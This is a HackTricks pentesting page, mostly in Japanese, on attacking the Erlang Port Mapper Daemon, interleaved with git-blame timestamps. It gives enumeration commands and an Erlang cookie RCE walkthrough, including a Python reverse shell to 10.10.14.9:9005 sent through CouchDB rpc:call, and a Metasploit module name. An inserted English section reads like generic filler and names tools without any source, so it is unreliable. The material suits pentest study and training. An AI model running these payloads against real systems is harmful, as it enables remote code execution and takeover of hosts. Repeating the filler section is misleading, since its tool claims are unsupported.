hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md

127 lines
8.3 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-04-28 16:01:33 +00:00
</details>
2023-07-07 23:42:27 +00:00
# 基本情報
2023-07-07 23:42:27 +00:00
Erlangポートマッパーデーモンは、分散Erlangインスタンスの調整に使用されます。彼の仕事は、**どのノード名がどのアドレスでリッスンしているかを追跡する**ことです。したがって、epmdはシンボリックなード名をマシンアドレスにマッピングします。
2023-07-07 23:42:27 +00:00
**デフォルトポート**: 4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
2023-07-07 23:42:27 +00:00
これは、RabbitMQとCouchDBのインストール時にデフォルトで使用されます。
2023-07-07 23:42:27 +00:00
# 列挙
2023-07-07 23:42:27 +00:00
## 手動
```bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```
2023-07-07 23:42:27 +00:00
## 自動
The EPMD (Erlang Port Mapper Daemon) is a service that runs on port 4369 by default in Erlang-based systems. It is responsible for mapping the available ports on a node and facilitating communication between Erlang nodes.
EPMD can be a potential target for attackers during a penetration test. By exploiting vulnerabilities in EPMD, an attacker can gain unauthorized access to the Erlang nodes and potentially compromise the entire system.
To automate the process of identifying and exploiting EPMD vulnerabilities, you can use the following tools:
- **epmd_exploit**: This tool allows you to scan a range of IP addresses and identify if EPMD is running on any of them. It also provides options to exploit known vulnerabilities in EPMD.
- **epmd_scan**: This tool performs a comprehensive scan of a target IP address or range and identifies any running EPMD instances. It provides detailed information about the EPMD service, including the Erlang nodes registered with it.
2023-07-07 23:42:27 +00:00
- **epmd_brute**: This tool performs a brute-force attack on EPMD to guess the registered Erlang nodes. It uses a wordlist of common Erlang node names and tries to connect to each one using EPMD.
2023-07-07 23:42:27 +00:00
Automating the process of identifying and exploiting EPMD vulnerabilities can save time and effort during a penetration test. However, it is important to ensure that you have proper authorization and legal permission before conducting any penetration testing activities.
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
2023-07-07 23:42:27 +00:00
| epmd-info:
| epmd_port: 4369
2023-07-07 23:42:27 +00:00
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
```
2022-05-01 12:49:36 +00:00
# Erlang Cookie RCE
2023-07-07 23:42:27 +00:00
## リモート接続
2023-07-07 23:42:27 +00:00
もし、**認証クッキーを漏洩**させることができれば、ホスト上でコードを実行することができます。通常、このクッキーは`~/.erlang.cookie`にあり、erlangによって最初の起動時に生成されます。手動で変更または設定されていない場合、これは長さ20文字のランダムな文字列\[A:Z]です。
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```
2023-07-07 23:42:27 +00:00
詳細は[https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)にあります。\
著者はまた、クッキーをブルートフォースするためのプログラムも共有しています:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
2023-07-07 23:42:27 +00:00
## ローカル接続
2020-07-16 18:26:18 +00:00
2023-07-07 23:42:27 +00:00
この場合、私たちは特権をエスカレーションするためにCouchDBを悪用します。
2020-07-16 18:26:18 +00:00
```bash
2023-07-07 23:42:27 +00:00
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
2020-07-16 18:26:18 +00:00
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
2023-07-07 23:42:27 +00:00
以下は[https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)からの例です。この脆弱性を悪用する方法を練習するために、**Canape HTBマシン**を使用することができます。
2020-07-16 18:26:18 +00:00
2022-05-01 12:49:36 +00:00
## Metasploit
```bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
```
2022-05-01 12:49:36 +00:00
# Shodan
* `port:4369 "at port"`
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-04-28 16:01:33 +00:00
</details>